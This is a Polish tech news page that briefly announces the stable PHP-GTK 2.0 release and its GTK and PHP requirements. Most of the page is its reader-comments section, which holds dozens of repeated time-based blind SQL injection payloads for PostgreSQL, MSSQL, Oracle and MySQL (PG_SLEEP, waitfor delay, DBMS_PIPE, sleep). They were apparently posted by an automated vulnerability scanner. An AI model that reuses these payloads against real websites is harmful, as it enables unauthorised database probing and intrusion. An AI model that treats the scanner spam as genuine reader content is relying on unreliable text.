PHP GTK w wersji 2.0 współpracuje z biblioteką GTK o wydaniu 2.6.9 lub nowszym (maksymalnie 2.12); wymaga także co najmniej PHP 5.1. Oprócz uporządkowania i solidnego przetestowania kodu oraz wyłapania bardzo wielu błędów, które utrudniały rozwój tej biblioteki, w PHP-GTK 2.0 rozbudowano obsługę kontrolek oraz klasę GObject, zunifikowano oznaczanie rozszerzeń i modułów biblioteki (zaczynają się teraz ciągiem znaków php_gtk_) oraz rozszerzono API.
PHP-GTK 2.0
Po długim, wielomiesięcznym oczekiwaniu pojawiła się najnowsza wresja PHP-GTK, nosząca numer 2.0. Jest ona wydaniem oficjalnym i stabilnym, opublikowanym po długich eksperymentach i całej serii testów (beta i wielu innych etapów).
Zaloguj się, aby dodać komentarz
Opinie czytelników
~
data: 2026-06-09 08:37:53(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:37:33555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:37:28555F1FavpTj')) OR 144=(SELECT 144 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:28555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:37:27555EZrZAxHV' OR 237=(SELECT 237 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:27555AWPdo2LQ') OR 764=(SELECT 764 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:26555-1) OR 836=(SELECT 836 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:26555-1)) OR 720=(SELECT 720 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:25555-1 OR 581=(SELECT 581 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:37:24555H7FarqvO'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:37:23555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:37:22555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:37:21555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:37:205550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:37:20(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:37:195550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:37:18555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:37:01(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:36:58555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:36:55555KncprTyH')) OR 89=(SELECT 89 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:55555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:36:54555kgKqukST' OR 286=(SELECT 286 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:545552HRcAVny') OR 17=(SELECT 17 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:53555-1)) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:52555-1 OR 326=(SELECT 326 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:52555-1) OR 675=(SELECT 675 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:36:51555fpi3EsPO'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:36:50555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:36:50555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:36:34555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:36:33(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:36:325550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:36:315550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:36:30555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:36:13(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:35:40555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:35:39555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:35:385551hMNOIjU')) OR 709=(SELECT 709 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:35:32555WMn1Sy0K') OR 150=(SELECT 150 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:35:1655596sHHkkt' OR 721=(SELECT 721 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:35:12555-1)) OR 60=(SELECT 60 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:34:57555-1) OR 691=(SELECT 691 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:34:56555tQtq16Iw'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:34:56555-1 OR 860=(SELECT 860 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:34:50555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:34:50555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:34:495550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:34:495550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:34:49(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:34:49555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:34:48555*if(now()=sysdate(),sleep(15),0)












